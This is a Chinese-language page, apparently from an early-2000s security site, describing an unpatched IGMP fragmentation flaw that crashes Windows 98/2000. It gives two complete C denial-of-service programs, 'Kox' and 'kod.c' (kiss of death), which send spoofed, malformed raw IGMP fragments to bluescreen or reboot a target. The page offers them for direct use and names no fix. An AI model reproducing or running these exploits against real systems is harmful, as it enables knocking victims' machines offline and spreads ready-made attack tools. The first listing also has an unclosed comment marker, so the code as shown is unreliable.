对Windows98和Windows2000的攻击
/ns/ld/win/data/20010501052713.htm
					IGMP是一个尚处于实验阶段的协议,提供Internet网际多点传送的功能,即将一个IP包的拷贝传给多个host. Windows98和windows2000都采用了这个不太成熟的协议,在这两个平台内,这个多点传送的协议的应用容易引起Tcp/IP堆栈的阻塞,从而引发了一个目前没有补丁的新攻击:
这里有两段C程序,效果差不多,请正确编译.
对Windows98和windows2000都是严厉的攻击,可能需要来两次或者更多,对方的机器将会蓝屏,当机甚至立即重新启动.
/***
   
    #include <stdio.h>
    #include <unistd.h>
    #include <stdlib.h>
    #include <netdb.h>
    #include <string.h>
    #include <errno.h>
    #include <pwd.h>
    #include <time.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <sys/utsname.h>
    #include <netinet/in.h>
    #include <netinet/ip.h>
    #include <netinet/ip_icmp.h>
    #include <netinet/igmp.h>
    void usage(char *arg)
    {
    printf("Kox by Coolio (coolio@k-r4d.com)\n");
    printf("Usage: %s <victim>\n", arg);
    exit(1);
    }
    unsigned int randip()
    {
    struct hostent *he;
    struct sockaddr_in sin;
    char *buf = (char *)calloc(1, sizeof(char) * 16);
    sprintf(buf, "%d.%d.%d.%d",
    (random()%191)+23,
    (random()%253)+1,
    (random()%253)+1,
    (random()%253)+1);
    inet_aton(buf, (struct in_addr *)&sin);
    return sin.sin_addr.s_addr;
    }
    unsigned short in_cksum(unsigned short *buh, int len)
    {
    register long sum = 0;
    unsigned short oddbyte;
    register unsigned short answer;
    
    while(len > 1) {
    sum += *buh++;
    len -= 2;
    }
    
    if(len == 1) {
    oddbyte = 0;
    *((unsigned char *)&oddbyte) = *(unsigned char *)buh;
    sum += oddbyte;
    }
    
    sum = (sum >> 16) + (sum & 0xFFFF);
    sum += (sum >> 16);
    answer = ~sum;
    return answer;
    }
    
    int nuke_igmp(struct sockaddr_in *victim, unsigned long spoof)
    {
    int BIGIGMP = 1500;
    unsigned char *pkt;
    struct iphdr *ip;
    struct igmphdr *igmp;
    struct utsname *un;
    struct passwd *p;
    
    int i, s;
    int id = (random() % 40000) + 500;
    
    pkt = (unsigned char *)calloc(1, BIGIGMP);
    ip = (struct iphdr *)pkt;
    igmp = (struct igmphdr *)(pkt + sizeof(struct iphdr));
    
    ip->version = 4;
    ip->ihl = (sizeof *ip) / 4;
    ip->ttl = 255;
    ip->tot_len = htons(BIGIGMP);
    ip->protocol = IPPROTO_IGMP;
    ip->id = htons(id);
    ip->frag_off = htons(IP_MF);
    ip->saddr = spoof;
    ip->daddr = victim->sin_addr.s_addr;
    ip->check = in_cksum((unsigned short *)ip, sizeof(struct iphdr));
    
    igmp->type = 0;
    igmp->group = 0;
    igmp->csum = in_cksum((unsigned short *)igmp, sizeof(struct igmphdr));
    
    for(i = sizeof(struct iphdr) + sizeof(struct igmphdr) + 1;
        i < BIGIGMP; i++)
    pkt[i] = random() % 255;
    #ifndef I_GROK
    un = (struct utsname *)(pkt + sizeof(struct iphdr) +
          sizeof(struct igmphdr) + 40);
    uname(un);
    p = (struct passwd *)((void *)un + sizeof(struct utsname) + 10);
    memcpy(p, getpwuid(getuid()), sizeof(struct passwd));
    #endif
    if((s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
    perror("error: socket()");
    return 1;
    }
    
    if(sendto(s, pkt, BIGIGMP, 0, victim,
       sizeof(struct sockaddr_in)) == -1) {
    perror("error: sendto()");
    return 1;
    }
    usleep(1000000);
    
    for(i = 1; i < 5; i++) {
    if(i > 3)
    ip->frag_off = htons(((BIGIGMP-20) * i) >> 3);
    else
    ip->frag_off = htons(((BIGIGMP-20) * i) >> 3 | IP_MF);
    sendto(s, pkt, BIGIGMP, 0, victim, sizeof(struct sockaddr_in));
    usleep(2000000);
    }
    
    free(pkt);
    close(s);
    return 0;
    }
    
    int main(int argc, char *argv[])
    {
    struct sockaddr_in victim;
    struct hostent *he;
    int i;
    
    srandom(time(NULL));
    
    if(argc < 2)
    usage(argv[0]);
    
    if((he = gethostbyname(argv[1])) == NULL) {
    herror(argv[1]);
    exit(1);
    }
    memcpy(&victim.sin_addr.s_addr, he->h_addr, he->h_length);
    victim.sin_port = htons(0);
    victim.sin_family = PF_INET;
    
    printf("IGMP> ");
    fflush(stdout);
    for(i = 0; i < 10; i++)
    {
    nuke_igmp(&victim, randip());
    printf(".");
    fflush(stdout);
    }
    printf("\n");
    fflush(stdout);
    }
 
另一段程序:
    /*
    ::: kod.c (kiss of death) version 1.2
    ::: [author] kod.c bug found by klepto /
    klepto@levitate.net / rewritten by ignitor / ignitor@EFnet
    ::: [stuph ] works on bsd/linux/*nix
    ::: [notes ] bluescreens windows users(98/98se) and kills
    tcp stack
    ::: [m$ bug] windows handles igmp badly and this is the
    result
    ::: [greets]
    amputee/nizda/nyt/ignitor/skyline/codelogic/ill`/conio/egotr
    ip/TFreak/napster
    ::: [greets] dist(test monkey)/naz(you rule period.)/#havok/
    #irc_addict/#kgb/#eof/everyone
    ::: [action] ./kod <host> and BEWM!
    ::: [rant  ] there will be lots of rewrites to this.. just
    get our name right!
    de omnibus dubitandum
    */
    
    /*
    windows core dump output (*whee*)
    An exception 0E has occurred at 0028:C14C9212 in VxD VIP
    (01) +
    00006C72.  This was called from 0028:C183FF54 in VcD PPPMAC
    (04) +
    000079BR.  It may be possible to continue normally(*not*).
    */
    
    
    #include <stdio.h>
    #include <string.h>
    #include <stdlib.h>
    #include <netinet/in.h>
    #include <netdb.h>
    #include <sys/time.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <arpa/inet.h>
    #include <unistd.h>
    
    struct iphdr
    {
      unsigned char ihl:4, version:4, tos;
      unsigned short tot_len, id, frag_off;
      unsigned char ttl, protocol;
      unsigned short check;
      unsigned int saddr, daddr;
    };
    
    struct igmphdr
    {
      unsigned char type, code;
      unsigned short cksum;
      struct in_addr group;
    };
    
    unsigned short in_chksum(unsigned short *, int);
    long resolve(char *);
    
    long resolve(char *host)
    {
      struct hostent *hst;
      long addr;
    
      hst = gethostbyname(host);
      if (hst == NULL)
        return(-1);
    
      memcpy(&addr, hst->h_addr, hst->h_length);
    
      return(addr);
    }
    
    int main(int argc, char *argv[])
    {
      struct sockaddr_in dst;
      struct iphdr *ip;
      struct igmphdr *igmp;
      long daddr, saddr;
      int s, i=0, c, len;
      char buf[1500];
    
      if (argc < 3)
      {
        printf("KOD spoofer by Ignitor and klepto\n");
        printf("Usage: %s <src> <dst>\n", *argv);
        return(1);
      }
    
      daddr = resolve(argv[2]);
      saddr = resolve(argv[1]);
    
      memset(buf, 0, 1500);
      ip = (struct iphdr *)&buf;
      igmp = (struct igmphdr *)&buf[sizeof(struct iphdr)];
    
      dst.sin_addr.s_addr = daddr;
      dst.sin_family = AF_INET;
    
      ip->ihl = 5;
      ip->version = 4;
      ip->tos = 0;
      ip->tot_len = htons(10933);
      ip->id = htons(48648);
      ip->ttl = 64;
      ip->protocol = IPPROTO_IGMP;
      ip->check = in_chksum((unsigned short *)ip, sizeof(struct
    iphdr));
      ip->saddr = saddr;
      ip->daddr = daddr;
    
      s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
      if (s == -1)
        return(1);
    
      printf("Sending IGMP packets: %s -> %s\n", argv[1], argv
    [2]);
    
      for (c=0;c<2;c++)
      {
        len = 220;
        ip->frag_off = htons(0x73a);
    
        for (i=0;;i++)
        {
          if (sendto(s,&buf,len,0,(struct sockaddr *)&dst,sizeof
    (struct sockaddr_in)) == -1)
          {
    perror("Error sending packet");
    exit(-1);
          }
          if (ntohs(ip->frag_off) == 0x2000)
    break;
          len = 1500;
          if (!i)
    ip->frag_off = htons(0x2681);
          else
    ip->frag_off = htons(ntohs(ip->frag_off) - 185);
    
          ip->check = in_chksum((unsigned short *)ip, sizeof
    (struct iphdr));
        }
      }
    
      return(1);
    }
    
    unsigned short in_chksum(unsigned short *addr, int len)
    {
       register int nleft = len;
       register int sum = 0;
       u_short answer = 0;
    
       while (nleft > 1) {
          sum += *addr++;
          nleft -= 2;
       }
    
       if (nleft == 1) {
          *(u_char *)(&answer) = *(u_char *)addr;
          sum += answer;
       }
    
       sum = (sum >> 16) + (sum & 0xffff);
       sum += (sum >> 16);
       answer = ~sum;
       return(answer);
    }
解决方案:暂时没有